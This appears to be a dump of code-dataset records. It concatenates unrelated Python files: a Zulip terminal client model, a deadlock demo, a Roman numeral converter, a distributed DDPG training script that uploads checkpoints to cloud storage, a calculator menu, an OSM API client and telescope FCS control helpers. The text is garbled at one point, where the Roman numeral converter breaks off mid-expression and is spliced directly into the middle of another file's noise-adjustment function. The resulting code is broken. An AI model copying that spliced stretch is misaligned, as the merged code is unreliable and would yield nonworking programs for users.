user_list from sorted components of each list\n user_list = sorted(active, key=lambda u: u['full_name'])\n user_list += sorted(idle, key=lambda u: u['full_name'])\n\n return user_list\n\n def get_subscribed_streams(self) -> List[List[str]]:\n subscriptions = self.initial_data['subscriptions']\n # Store streams in id->Stream format\n for stream in subscriptions:\n self.stream_dict[stream['stream_id']] = stream\n # Add if stream is muted.\n if stream['in_home_view'] is False:\n self.muted_streams.append(stream['stream_id'])\n\n stream_names = [[\n stream['name'],\n stream['stream_id'],\n stream['color'],\n stream['invite_only'],\n ] for stream in subscriptions\n ]\n return sorted(stream_names, key=lambda s: s[0].lower())\n\n def append_message(self, response: Dict[str, Any]) -> None:\n \"\"\"\n Adds message to the end of the view.\n \"\"\"\n response['flags'] = []\n if hasattr(self.controller, 'view') and self.update:\n self.index = index_messages([response], self, self.index)\n msg_w_list = create_msg_box_list(self, [response['id']])\n if not msg_w_list:\n return\n else:\n msg_w = msg_w_list[0]\n if not self.narrow:\n self.msg_list.log.append(msg_w)\n\n elif self.narrow[0][1] == response['type'] and\\\n len(self.narrow) == 1:\n self.msg_list.log.append(msg_w)\n\n elif response['type'] == 'stream' and len(self.narrow) == 2 and\\\n self.narrow[1][1] == response['subject']:\n self.msg_list.log.append(msg_w)\n\n elif response['type'] == 'private' and len(self.narrow) == 1 and\\\n self.narrow[0][0] == \"pm_with\":\n recipients = self.recipients\n msg_recipients = frozenset([\n self.user_id,\n self.user_dict[self.narrow[0][1]]['user_id']\n ])\n if recipients == msg_recipients:\n self.msg_list.log.append(msg_w)\n\n set_count([response['id']], self.controller, 1)\n self.controller.update_screen()\n\n def update_message(self, response: Dict[str, Any]) -> None:\n \"\"\"\n Updates previously rendered message.\n \"\"\"\n message_id = response['message_id']\n content = response['content']\n # If the message is indexed\n if self.index['messages'][message_id] != {}:\n message = self.index['messages'][message_id]\n message['content'] = content\n self.index['messages'][message_id] = message\n self.update_rendered_view(message_id)\n\n def update_reaction(self, response: Dict[str, Any]) -> None:\n message_id = response['message_id']\n # If the message is indexed\n if self.index['messages'][message_id] != {}:\n\n message = self.index['messages'][message_id]\n if response['op'] == 'add':\n message['reactions'].append(\n {\n 'user': response['user'],\n 'reaction_type': response['reaction_type'],\n 'emoji_code': response['emoji_code'],\n 'emoji_name': response['emoji_name'],\n }\n )\n else:\n emoji_code = response['emoji_code']\n for reaction in message['reactions']:\n # Since Who reacted is not displayed,\n # remove the first one encountered\n if reaction['emoji_code'] == emoji_code:\n message['reactions'].remove(reaction)\n\n self.index['messages'][message_id] = message\n self.update_rendered_view(message_id)\n\n def update_star_status(self, event: Dict[str, Any]) -> None:\n assert len(event['messages']) == 1 # FIXME: Can be multiple?\n message_id = event['messages'][0]\n\n if self.index['messages'][message_id] != {}:\n msg = self.index['messages'][message_id]\n if event['operation'] == 'add':\n if 'starred' not in msg['flags']:\n msg['flags'].append('starred')\n elif event['operation'] == 'remove':\n if 'starred' in msg['flags']:\n msg['flags'].remove('starred')\n else:\n raise RuntimeError(event, msg['flags'])\n\n self.index['messages'][message_id] = msg\n self.update_rendered_view(message_id)\n\n def update_rendered_view(self, msg_id: int) -> None:\n # Update new content in the rendered view\n for msg_w in self.msg_list.log:\n msg_box = msg_w.original_widget\n if msg_box.message['id'] == msg_id:\n msg_w_list = create_msg_box_list(\n self, [msg_id],\n last_message=msg_box.last_message)\n if not msg_w_list:\n return\n else:\n new_msg_w = msg_w_list[0]\n msg_pos = self.msg_list.log.index(msg_w)\n self.msg_list.log[msg_pos] = new_msg_w\n self.controller.update_screen()\n\n @asynch\n def poll_for_events(self) -> None:\n queue_id = self.controller.queue_id\n last_event_id = self.controller.last_event_id\n while True:\n if queue_id is None:\n self.controller.register_initial_desired_events()\n queue_id = self.controller.queue_id\n last_event_id = self.controller.last_event_id\n\n response = self.client.get_events(\n queue_id=queue_id,\n last_event_id=last_event_id\n )\n\n if 'error' in response['result']:\n if response[\"msg\"].startswith(\"Bad event queue id:\"):\n # Our event queue went away, probably because\n # we were asleep or the server restarted\n # abnormally. We may have missed some\n # events while the network was down or\n # something, but there's not really anything\n # we can do about it other than resuming\n # getting new ones.\n #\n # Reset queue_id to register a new event queue.\n queue_id = None\n time.sleep(1)\n continue\n for event in response['events']:\n last_event_id = max(last_event_id, int(event['id']))\n if event['type'] == 'message':\n self.append_message(event['message'])\n elif event['type'] == 'update_message':\n # FIXME: Support Topic Editing\n if 'subject' in event.keys():\n continue\n else:\n self.update_message(event)\n elif event['type'] == 'reaction':\n self.update_reaction(event)\n elif event['type'] == 'typing':\n if hasattr(self.controller, 'view'):\n self.controller.view.handle_typing_event(event)\n elif event['type'] == 'update_message_flags':\n # TODO: Should also support 'read' flag changes?\n if event['flag'] == 'starred':\n self.update_star_status(event)\n","sub_path":"zulipterminal/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":18249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"534196812","text":"# This solution uses thread-local storage to solve a simple problem.\n# When multiple acquire() operations are nested together, we can check the deadlocks.\n\nimport threading\nimport time\nfrom deadlock import acquire\n\nx_lock = threading.Lock()\ny_lock = threading.Lock()\n\ndef thread_1():\n\twhile True:\n\t\twith acquire(x_lock):\n\t\t\twith acquire(y_lock):\n\t\t\t\tprint ('Thread-1')\n\ndef thread_2():\n\twhile True:\n\t\twith acquire(x_lock):\n\t\t\twith acquire(y_lock):\n\t\t\t\tprint ('Thread-2')\n\ninput ('This program crashes with an exception. Press [return] to start.')\n\nt1 = threading.Thread(target=thread_1)\nt1.daemon = True\nt1.start()\n\nt2 = threading.Thread(target=thread_2)\nt2.daemon = True\nt2.start()\n\ntime.sleep(5)\n","sub_path":"12_concurrency/5_avoid_deadlock/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"639103588","text":"import sys\n\nclass RomanNumerals(object):\n\n\tdef userConvert(self, x):\n\t\ttry:\n\t\t\treturn self.convertToRoman(x)\n\t\t\t\n\t\texcept (Exception) as err:\n\t\t\tsys.stderr.write('ERROR: %s' % str(err))\n\n\tdef convertToRoman(self, x):\n\t\t\t\t\n\t\tromanString = ''\n\t\tromanValues = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1]\n\t\tromanChars = [\"M\", \"CM\",\"D\",\"CD\",\"C\", \"XC\", \"L\", \"XL\", \"X\",\"IX\",\"V\",\"IV\",\"I\"]\n\n\t\ttry:\n\t\t\tuserValue = int(x)\n\t\texcept:\n\t\t\traise ValueError(\"Not a valid integer\")\n\t\t\n\t\tif userValue > 0 and userValue < 4000:\n\t\t\tfor i in range(0, len(romanValues)):\n\t\t\t\twhile userValue%romanValues[i]= 0:\n num_samples += distances[idx][0]\n d += distances[idx][0] * distances[idx][1]\n if num_samples >= 128:\n break\n idx -= 1\n if len(distances) >= 128:\n del distances[:len(distances)//2]\n d = np.sqrt(d / num_samples)\n if d > AGENT_CONFIG[\"exploration_sigma\"]:\n return 0.9 * cur_stddev\n else:\n return cur_stddev / 0.9\n return cur_stddev\n\n\ndef parse_personal_info(ips):\n access_id, access_key = None, None\n for line in ips:\n line = line.strip()\n if line and line[0] != '#':\n kv = line.split('=')\n if kv[0] == \"access_id\":\n access_id = kv[1]\n if kv[0] == \"access_key\":\n access_key = kv[1]\n return access_id, access_key\n\n\ndef main(_):\n # configurations\n with open(FLAGS.config, 'r') as ips:\n specified_configs = json.load(ips)\n AGENT_CONFIG.update(specified_configs)\n with open(\"odps_config.ini\" if os.path.isfile(\"odps_config.ini\") else \"rl_stadium/odps_config.ini\" , 'r') as ips:\n access_id, access_key = parse_personal_info(ips)\n assert access_id is not None and access_key is not None, \"no personal information given\"\n\n # distributed pai tf\n ps_hosts = get_port(FLAGS.ps_hosts.split(','))\n worker_hosts = get_port(FLAGS.worker_hosts.split(','))\n cluster = tf.train.ClusterSpec({\"ps\": ps_hosts, \"worker\": worker_hosts})\n server = tf.train.Server(cluster, job_name=FLAGS.job_name, task_index=FLAGS.task_index)\n\n shared_job_device = \"/job:ps/task:0\"\n local_job_device = \"/job:\" + FLAGS.job_name + (\"/task:%d\" % FLAGS.task_index)\n global_variable_device = shared_job_device + \"/cpu\"\n\n is_learner = (FLAGS.job_name==\"ps\")\n num_actors = len(worker_hosts)\n # PLEASE use more than one worker\n per_worker_eps = AGENT_CONFIG[\"noise_scale\"] * (0.4**(1 + FLAGS.task_index / float(num_actors-1) * 7))\n print(\"actor specific epsilon={}\".format(per_worker_eps))\n\n # create environment\n env = get_env(AGENT_CONFIG[\"env\"])\n \n # build graph\n g = tf.get_default_graph()\n with g.as_default():\n with tf.device(global_variable_device):\n # global_step is necessary for Monitoring\n global_step = tf.train.get_or_create_global_step()\n # create learner and queues\n with tf.variable_scope(\"learner\") as ps_scope:\n learner = DDPGPolicyGraph(\n env.observation_space, env.action_space, AGENT_CONFIG, global_step)\n tf.add_to_collection(tf.GraphKeys.INIT_OP, tf.group(*([v.initializer for v in learner.p_func_vars+learner.a_func_vars+learner.target_p_func_vars+learner.q_func_vars+learner.target_q_func_vars]+[v.initializer for v in learner.slot_vars]+[global_step.initializer])))\n\n dtypes = 5 * [tf.float32]\n shapes = [\n tf.TensorShape((AGENT_CONFIG[\"sample_batch_size\"],)+env.observation_space.shape), tf.TensorShape((AGENT_CONFIG[\"sample_batch_size\"],)+env.action_space.shape),\n tf.TensorShape((AGENT_CONFIG[\"sample_batch_size\"],)+env.observation_space.shape), tf.TensorShape((AGENT_CONFIG[\"sample_batch_size\"],)), tf.TensorShape((AGENT_CONFIG[\"sample_batch_size\"],))]\n queues = [tf.FIFOQueue(32, dtypes, shapes, shared_name=\"buffer{}\".format(i)) for i in range(REPLAY_REPLICA)]\n dequeue_ops = [q.dequeue() for q in queues]\n\n metrics_queue = tf.FIFOQueue(\n num_actors, dtypes=[tf.float32], shapes=[()],\n shared_name=\"metrics_queue\")\n collect_metrics = metrics_queue.dequeue()\n\n with tf.device(local_job_device+\"/cpu\"):\n # create actor and enqueue ops\n if not is_learner:\n actor = DDPGPolicyGraph(\n env.observation_space, env.action_space, AGENT_CONFIG, global_step)\n #tf.add_to_collection(tf.GraphKeys.LOCAL_INIT_OP, tf.group(*([v.initializer for v in actor.p_func_vars+actor.a_func_vars+actor.target_p_func_vars+actor.q_func_vars+actor.target_q_func_vars]+[v.initializer for v in actor.slot_vars])))\n\n # sync with learner and add parameter space noise for policy net\n param_noise_stddev = tf.placeholder(tf.float32, shape=())\n sync_ops = list()\n cached_noise, gen_noise_ops, add_noise_ops, subtract_noise_ops = list(), list(), list(), list()\n label_idx = 0\n for tgt, sc in zip(actor.p_func_vars, learner.p_func_vars):\n sync_ops.append(tf.assign(tgt, sc, use_locking=True))\n if \"fc\" in tgt.name or \"fully_connected\" in tgt.name:\n noise = tf.get_variable(name='noise{}'.format(label_idx), dtype=tf.float32, shape=tgt.shape)\n label_idx += 1\n cached_noise.append(noise)\n gen_noise_ops.append(tf.assign(noise, tf.random_normal(shape=tgt.shape, stddev=param_noise_stddev, seed=FLAGS.task_index)))\n add_noise_ops.append(tf.assign_add(tgt, noise))\n subtract_noise_ops.append(tf.assign_add(tgt, -noise))\n sync_op = tf.group(*(sync_ops))\n gen_noise_ops = tf.group(*(gen_noise_ops))\n add_noise_ops = tf.group(*(add_noise_ops))\n subtract_noise_ops = tf.group(*(subtract_noise_ops))\n tf.add_to_collection(tf.GraphKeys.LOCAL_INIT_OP, tf.group(*([v.initializer for v in actor.p_func_vars+actor.a_func_vars+actor.target_p_func_vars+actor.q_func_vars+actor.target_q_func_vars]+[v.initializer for v in actor.slot_vars]+[v.initializer for v in cached_noise])))\n\n states = tf.placeholder(\n tf.float32,\n shape=(AGENT_CONFIG[\"sample_batch_size\"],)+env.observation_space.shape)\n actions = tf.placeholder(\n tf.float32,\n shape=(AGENT_CONFIG[\"sample_batch_size\"],)+env.action_space.shape)\n next_states = tf.placeholder(\n tf.float32,\n shape=(AGENT_CONFIG[\"sample_batch_size\"],)+env.observation_space.shape)\n rewards = tf.placeholder(\n tf.float32, shape=(AGENT_CONFIG[\"sample_batch_size\"],))\n terminals = tf.placeholder(\n tf.float32, shape=(AGENT_CONFIG[\"sample_batch_size\"],))\n enqueue_ops = [q.enqueue([states, actions, next_states, rewards, terminals]) for q in queues]\n \n lt_return = tf.placeholder(\n tf.float32, shape=())\n contribute_metrics = metrics_queue.enqueue([lt_return])\n\n tf.add_to_collection(tf.GraphKeys.READY_FOR_LOCAL_INIT_OP, tf.report_uninitialized_variables(learner.p_func_vars+learner.a_func_vars+learner.target_p_func_vars+learner.q_func_vars+learner.target_q_func_vars+learner.slot_vars))\n\n if is_learner:\n # save ckpt to a local folder during the training procedure\n os.system(\"mkdir tmp\")\n destination_folder = \"oss://142534/nips18/ckpt_\" + time.asctime(time.localtime(time.time())).replace(' ', '_')\n os.system(\"osscmd --host=oss-cn-hangzhou-zmf.aliyuncs.com --id=\" + access_id + \" --key=\" + access_key + \" mkdir \" + destination_folder)\n \n # create session\n with tf.train.MonitoredTrainingSession(\n server.target,\n is_chief=is_learner,\n checkpoint_dir='tmp',\n save_checkpoint_secs=9000 if AGENT_CONFIG[\"env\"] in [\"prosthetics\", \"round2\"] else 600,\n save_summaries_secs=9000 if AGENT_CONFIG[\"env\"] == [\"prosthetics\", \"round2\"] else 120,\n log_step_count_steps=250000 if AGENT_CONFIG[\"env\"] == [\"prosthetics\", \"round2\"] else 1000,\n config=tf.ConfigProto(\n allow_soft_placement=True,\n log_device_placement=True)) as session:\n\n if is_learner:\n print(\"*************************learner started*************************\")\n # spawn subprocesses function as Ray replay actor\n replay_buffers = list()\n data_ins = list()\n data_outs = list()\n priority_ins = list()\n for idx in range(REPLAY_REPLICA):\n data_in = Queue(8)\n data_out = Queue(8)\n priority_in = Queue(8)\n\n replay_actor = Process(target=f, args=(data_in, data_out, priority_in,))\n replay_actor.start()\n replay_buffers.append(replay_actor)\n data_ins.append(data_in)\n data_outs.append(data_out)\n priority_ins.append(priority_in)\n\n # multi-thread for running dequeue operations\n completed = threading.Event()\n op_runners = list()\n for idx in range(REPLAY_REPLICA):\n trd = DequeueThread(session, dequeue_ops[idx], data_ins[idx], completed)\n trd.start()\n op_runners.append(trd)\n\n # multi-thread for checking metrics\n metrics = list()\n metrics_channel = Queue()\n metrics_collecter = DequeueThread(session, collect_metrics, metrics_channel, completed)\n metrics_collecter.start()\n if AGENT_CONFIG[\"env\"] == \"pendulum\":\n least_considered = 16\n elif AGENT_CONFIG[\"env\"] in [\"prosthetics\", \"round2\"]:\n least_considered = num_actors\n elif AGENT_CONFIG[\"env\"] == \"sr\":\n least_considered = 2048\n stop_criteria = AGENT_CONFIG[\"stop_criteria\"]\n\n # begin training\n session.run(learner.update_target_expr)\n training_batch_cnt = 0\n train_batch_size = AGENT_CONFIG[\"train_batch_size\"]\n sample_batch_size = AGENT_CONFIG[\"sample_batch_size\"]\n last_target_update_iter = 0\n num_target_update = 0\n use_lr_decay = AGENT_CONFIG.get(\"lr_decay\", False)\n init_actor_lr = AGENT_CONFIG[\"actor_lr\"]\n init_critic_lr = AGENT_CONFIG[\"critic_lr\"]\n num_sampled_timestep = 0\n losses = list()\n start_time = time.time()\n\n while True:\n if not use_lr_decay:\n cur_actor_lr = init_actor_lr\n cur_critic_lr = init_critic_lr\n else:\n cur_actor_lr = 5e-5 + max(.0, 2e7-num_sampled_timestep)/(2e7) * (init_actor_lr - 5e-5)\n cur_critic_lr = 5e-5 + max(.0, 2e7-num_sampled_timestep)/(2e7) * (init_critic_lr - 5e-5)\n\n for i in range(REPLAY_REPLICA):\n if not data_outs[i].empty():\n (obses_t, actions, rewards, obses_tp1, dones, weights, batch_indexes) = data_outs[i].get()\n _, critic_loss, td_error = session.run(\n [learner.opt_op, learner.loss.critic_loss, learner.loss.td_error],\n feed_dict={\n learner.obs_t: obses_t,\n learner.act_t: actions,\n learner.rew_t: rewards,\n learner.obs_tp1: obses_tp1,\n learner.done_mask: dones,\n learner.importance_weights: weights,\n learner.cur_actor_lr: cur_actor_lr,\n learner.cur_critic_lr: cur_critic_lr})\n priority_ins[i].put((batch_indexes, td_error))\n\n training_batch_cnt += 1\n losses.append(critic_loss)\n if training_batch_cnt % 64 == 0:\n print(\"mean_critic_loss={}\".format(np.mean(losses)))\n del losses[:]\n if training_batch_cnt-last_target_update_iter >= AGENT_CONFIG[\"target_network_update_freq\"]:\n session.run(learner.update_target_expr)\n last_target_update_iter = training_batch_cnt\n num_target_update += 1\n\n while not metrics_channel.empty():\n metrics.append(metrics_channel.get())\n if len(metrics) >= least_considered:\n perf = np.mean(metrics[-least_considered:])\n print(\">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\")\n print(\"mean_episodes_reward={}\".format(perf))\n num_sampled_timestep = np.sum([t.sampled_batch_cnt for t in op_runners]) * sample_batch_size\n print(\"num_sampled_timestep={}\".format(num_sampled_timestep))\n print(\"num_train_timestep={}\".format(training_batch_cnt * train_batch_size))\n print(\"num_target_sync={}\".format(num_target_update))\n print(\"current_actor_lr={}\".format(cur_actor_lr))\n print(\"current_critic_lr={}\".format(cur_critic_lr))\n print(\"time_since_start={}\".format(time.time()-start_time))\n print(\">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\")\n if perf >= stop_criteria:\n completed.set()\n for p in replay_buffers:\n p.terminate()\n time.sleep(3)\n for p in replay_buffers:\n p.join()\n break\n del metrics[:len(metrics)-least_considered//2]\n else:\n time.sleep(0.1*FLAGS.task_index)\n print(\"*************************actor started*************************\")\n # frequently used arguments\n horizon = AGENT_CONFIG[\"horizon\"] or float('inf')\n traj_len = AGENT_CONFIG[\"sample_batch_size\"]\n max_policy_lag = AGENT_CONFIG[\"max_weight_sync_delay\"]\n begin_actuate_ts = AGENT_CONFIG[\"learning_starts\"] // (2*num_actors)\n\n start_time = time.time()\n session.run(sync_op)\n sync_consumed = time.time() - start_time\n enqueue_consumed = .0\n report_consumed = .0\n\n cur_ob = env.reset()\n episode_rwd = .0\n episode_len = 0\n episode_rwds = list()\n episode_lens = list()\n episode_cnt = 0\n\n # TO DO: specify the ratio (now 1:0 or 1:1)\n use_action_noise = True\n use_param_noise = AGENT_CONFIG.get(\"param_noise\", False)\n cur_param_noise_stddev = .1\n action_distance = list()\n\n last_sync_ts, timestep_cnt, traj_cnt = 0, 0, 0\n traj_obs, traj_acts, traj_next_obs, traj_rwds, traj_done_masks = list(), list(), list(), list(), list()\n\n # begin sampling\n while True:\n if timestep_cnt < begin_actuate_ts:\n act = env.env.action_space.sample()\n else:\n act = session.run(actor.output_actions, feed_dict={\n actor.cur_observations: [cur_ob], actor.eps: per_worker_eps,\n actor.stochastic: use_action_noise})[0]\n next_ob, rwd, done, _ = env.step(np.clip(act, .0, 1.0, out=act))\n\n episode_rwd += rwd\n episode_len += 1\n traj_obs.append(cur_ob)\n traj_acts.append(act)\n traj_next_obs.append(next_ob)\n traj_rwds.append(rwd)\n traj_done_masks.append(done)\n timestep_cnt += 1\n\n if episode_len >= horizon:\n done = True\n if done:\n episode_rwds.append(episode_rwd)\n episode_lens.append(episode_len)\n episode_cnt += 1\n if FLAGS.task_index >= 2*num_actors//3:\n report_start_mnt = time.time()\n session.run(contribute_metrics, feed_dict={lt_return: episode_rwd})\n report_consumed += time.time() - report_start_mnt\n if len(episode_lens) >= 8:\n print(\"mean_reward={}\\tmean_length={}\".format(\n np.mean(episode_rwds), np.mean(episode_lens)))\n del episode_lens[:]\n del episode_rwds[:]\n\n # adjust action/parameter space noise\n if use_param_noise:\n # use parameter space noise in the coming episode\n if use_action_noise:\n use_action_noise = False\n sync_start_mnt = time.time()\n session.run(sync_op)\n last_sync_ts = timestep_cnt\n sync_consumed = time.time() - sync_start_mnt\n # adjust noise stddev\n cur_param_noise_stddev = adjust_noise_stddev(action_distance, cur_param_noise_stddev)\n session.run(\n gen_noise_ops,\n feed_dict={param_noise_stddev: cur_param_noise_stddev})\n session.run(add_noise_ops)\n else:\n use_action_noise = True\n # calculate action distances\n session.run(subtract_noise_ops)\n act = session.run(actor.output_actions, feed_dict={\n actor.cur_observations: traj_obs,\n actor.eps: per_worker_eps, actor.stochastic: use_action_noise})\n action_distance.append((len(traj_rwds), np.mean((act-traj_acts)**2)))\n else:\n session.run(actor.reset_noise_op)\n episode_rwd = .0\n episode_len = 0\n cur_ob = env.reset()\n else:\n cur_ob = next_ob\n\n # sync parameters\n if use_action_noise and timestep_cnt - last_sync_ts >= max_policy_lag:\n sync_start_mnt = time.time()\n session.run(sync_op)\n last_sync_ts = timestep_cnt\n sync_consumed = time.time() - sync_start_mnt\n\n # reach the sample_batch_size\n if len(traj_rwds) == traj_len:\n traj_cnt += 1\n traj_obs, traj_acts, traj_rwds, traj_next_obs, traj_done_masks = actor.postprocess_trajectory(\n traj_obs, traj_acts, traj_next_obs,\n traj_rwds, traj_done_masks)\n enqueue_start_mnt = time.time()\n session.run(enqueue_ops[FLAGS.task_index%REPLAY_REPLICA], feed_dict={\n states: traj_obs, actions: traj_acts,\n next_states: traj_next_obs,\n rewards: traj_rwds, terminals: traj_done_masks})\n enqueue_consumed += (time.time() - enqueue_start_mnt)\n\n # calculate action distances\n if use_param_noise and not use_action_noise:\n closest_done_idx = max(0, traj_len - (timestep_cnt-last_sync_ts))\n # parts of the trajectory use param noise\n if closest_done_idx < traj_len:\n session.run(subtract_noise_ops)\n act = session.run(actor.output_actions, feed_dict={\n actor.cur_observations: traj_obs[closest_done_idx:],\n actor.eps: .0, actor.stochastic: use_action_noise})\n action_distance.append((traj_len-closest_done_idx, np.mean((act-traj_acts[closest_done_idx:])**2)))\n session.run(add_noise_ops)\n\n del traj_obs[:]\n del traj_acts[:]\n del traj_next_obs[:]\n del traj_rwds[:]\n del traj_done_masks[:]\n\n if traj_cnt % 8 == 0:\n consumed_time = time.time() - start_time\n print(\">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\")\n print(\"num_sampled_episode={}\".format(episode_cnt))\n print(\"num_sampled_timestep={}\".format(timestep_cnt))\n print(\"throughput={:.3}\".format(float(8*traj_len)/consumed_time))\n print(\"enqueue_ratio={:.2%}\".format(enqueue_consumed/consumed_time))\n print(\"sync_ratio={:.2%}\".format(sync_consumed/consumed_time))\n print(\"report_ratio={:.2%}\".format(report_consumed/consumed_time))\n print(\"param_noise_stddev={:.5}\".format(cur_param_noise_stddev))\n print(\">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\")\n start_time = time.time()\n enqueue_consumed, sync_consumed, report_consumed = .0, .0, .0\n\n # upload util the session is closed\n if is_learner:\n print(\"upload {} files to {}\".format(len([name for name in os.listdir(\"tmp\") if os.path.isfile(\"tmp/\"+name)]), destination_folder))\n os.system(\"osscmd --host=oss-cn-hangzhou-zmf.aliyuncs.com --id=\" + access_id + \" --key=\" + access_key + \" uploadfromdir tmp \" + destination_folder)\n\n print(\"done.\")\n\n\ndef f(data_in, data_out, priority_in):\n # like Ray ReplayActor\n # TO DO: coordinate training speed and sampling speed\n replay_buffer = PrioritizedReplayBuffer(\n AGENT_CONFIG[\"buffer_size\"] // REPLAY_REPLICA,\n alpha=AGENT_CONFIG[\"prioritized_replay_alpha\"])\n eps = AGENT_CONFIG[\"prioritized_replay_eps\"]\n replay_start = AGENT_CONFIG[\"learning_starts\"] // REPLAY_REPLICA\n train_batch_size = AGENT_CONFIG[\"train_batch_size\"]\n beta = AGENT_CONFIG[\"prioritized_replay_beta\"]\n\n while True:\n # add trajectory\n for _ in range(SAMPLE_QUEUE_DEPTH):\n if not data_in.empty():\n traj = data_in.get()\n for i in range(len(traj[0])):\n replay_buffer.add(\n traj[0][i], traj[1][i], traj[3][i], traj[2][i], traj[4][i], None)\n\n # sample a batch for learner\n if len(replay_buffer) > replay_start:\n for _ in range(REPLAY_QUEUE_DEPTH):\n if not data_out.full():\n # (obses_t, actions, rewards, obses_tp1, dones, weights, batch_indexes)\n batch_data = replay_buffer.sample(train_batch_size, beta=beta)\n data_out.put(batch_data)\n\n # update priority\n while not priority_in.empty():\n (batch_indexes, td_errors) = priority_in.get()\n new_priorities = (np.abs(td_errors) + eps)\n replay_buffer.update_priorities(batch_indexes, new_priorities)\n\n\nclass DequeueThread(threading.Thread):\n def __init__(self, sess, dequeue_op, recv, signal):\n threading.Thread.__init__(self)\n self.daemon = True\n\n self.sess = sess\n self.dequeue_op = dequeue_op\n self.recv = recv\n\n self.sampled_batch_cnt = 0\n self.signal = signal\n\n def run(self):\n while not self.signal.is_set():\n traj = self.sess.run(self.dequeue_op)\n self.recv.put(traj)\n self.sampled_batch_cnt += 1\n\n\nif __name__ == \"__main__\":\n tf.app.run()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":26461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"649399204","text":"import os\nimport sys\n\nimport calc\n\n\n\n\n\ndef quit_program(*args):\n sys.exit()\n\n\ndef menu():\n items = [\n \"1) Addition\",\n \"2) Substraction\",\n \"3) Multipication\",\n \"4) Division\",\n \"5) Quit\"\n ]\n\n for item in items:\n print(item)\n \n return input(\"Choose from menu pls: \")\n\n\ndef main():\n operations = {\n \"1\": calc.add,\n \"2\": calc.minus,\n \"3\": calc.mul,\n \"4\": calc.div,\n \"5\": quit_program\n }\n \n op_symbols = {\n \"1\": \"+\",\n \"2\": \"-\",\n \"3\": \"*\",\n \"4\": \"/\",\n }\n \n while True:\n os.system(\"clear\")\n response = menu()\n if operations.get(response) is not None:\n num1 = int(input(\"Enter number one: \"))\n num2 = int(input(\"Enter number two: \"))\n res = operations[response](num1, num2)\n print(f\"{num1} {op_symbols[response]} {num2} = {res}\")\n else:\n print(\"Invalid choose!\")\n \n input(\"Press any key to back to menu ...\")\n \n \nif __name__ == \"__main__\":\n main()\n","sub_path":"calculator/text_ui.py","file_name":"text_ui.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"232140155","text":"from settings import OSM_COMPONENTS, LOGGING\nfrom httpclient.client import Client\nimport logging.config\n\nlogging.config.dictConfig(LOGGING)\nlogger = logging.getLogger(__name__)\n\n\nclass Vnfr(object):\n \"\"\"Description of Vnfr class\"\"\"\n\n def __init__(self, token):\n \"\"\"Constructor of Vnfr class\"\"\"\n self.__client = Client(verify_ssl_cert=False)\n self.basic_token = token\n\n def get_list(self):\n \"\"\"Get the list of the VNF records from the SO-ub container\n\n Returns:\n obj: a requests object\n\n Examples:\n >>> from soapi.vnfr import Vnfr\n >>> from soapi.identity import basic_token\n >>> from settings import OSM_ADMIN_CREDENTIALS\n >>> token = basic_token(OSM_ADMIN_CREDENTIALS.get('username'), OSM_ADMIN_CREDENTIALS.get('username'))\n >>> vnfr = Vnfr(token)\n >>> vnfrs = vnfr.get_list()\n >>> print(int(vnfrs.status_code))\n 200\n \"\"\"\n endpoint = '{}/v1/api/operational/project/default/vnfr-catalog/vnfr'.format(OSM_COMPONENTS.get('SO-API'))\n headers = {\"Authorization\": \"Basic {}\".format(self.basic_token), \"Accept\": \"application/json\"}\n response = self.__client.get(endpoint, headers)\n return response\n","sub_path":"soapi/vnfr.py","file_name":"vnfr.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"604904444","text":"import inspect\nfrom datetime import datetime as dt\nfrom datetime import timedelta as tdelta\nfrom time import sleep\n\ntry:\n import ktl\nexcept ModuleNotFoundError as e:\n pass\n\nfrom .core import *\n\n\n##-----------------------------------------------------------------------------\n## pre- and post- conditions\n##-----------------------------------------------------------------------------\ndef FCS_ok():\n activekw = ktl.cache(keyword='ACTIVE', service='mfcs')\n active = bool(activekw.read())\n if active is not True:\n raise FailedCondition(f'FCS is not active')\n enabledkw = ktl.cache(keyword='ENABLE', service='mfcs')\n enabled = bool(enabledkw.read())\n if enabled is not True:\n raise FailedCondition(f'FCS is not enabled')\n\n\n##-------------------------------------------------------------------------\n## FCS_in_position\n##-------------------------------------------------------------------------\ndef FCS_in_position(PAthreshold=0.5, ELthreshold=0.5,\n skipprecond=False, skippostcond=False):\n '''Check whether the current FCS position is correcting for the current\n rotator angle and telescope elevation values from dcs.\n '''\n this_function_name = inspect.currentframe().f_code.co_name\n log.debug(f\"Executing: {this_function_name}\")\n ##-------------------------------------------------------------------------\n ## Pre-Condition Checks\n if skipprecond is True:\n log.debug('Skipping pre condition checks')\n else:\n FCS_ok()\n \n ##-------------------------------------------------------------------------\n ## Script Contents\n FCPA_ELkw = ktl.cache(keyword='PA_EL', service='mfcs')\n FCPA_EL = FCPA_ELkw.read()\n FCSPA = float(FCPA_EL.split()[0])\n FCSEL = float(FCPA_EL.split()[1])\n \n ROTPPOSNkw = ktl.cache(keyword='ROTPPOSN', service='dcs')\n ROTPPOSN = float(ROTPPOSNkw.read())\n ELkw = ktl.cache(keyword='EL', service='dcs')\n EL = float(ELkw.read())\n done = np.isclose(FCSPA, ROTPPOSN, atol=PAthreshold)\\\n and np.isclose(FCSEL, EL, atol=ELthreshold)\n\n ##-------------------------------------------------------------------------\n ## Post-Condition Checks\n if skippostcond is True:\n log.debug('Skipping post condition checks')\n else:\n FCS_ok()\n\n return done\n\n\n##-------------------------------------------------------------------------\n## FCS_up_to_date\n##-------------------------------------------------------------------------\ndef update_FCS(skipprecond=False, skippostcond=False):\n '''Check whether the current FCS position is correcting for the current\n rotator angle and telescope elevation values from dcs.\n '''\n this_function_name = 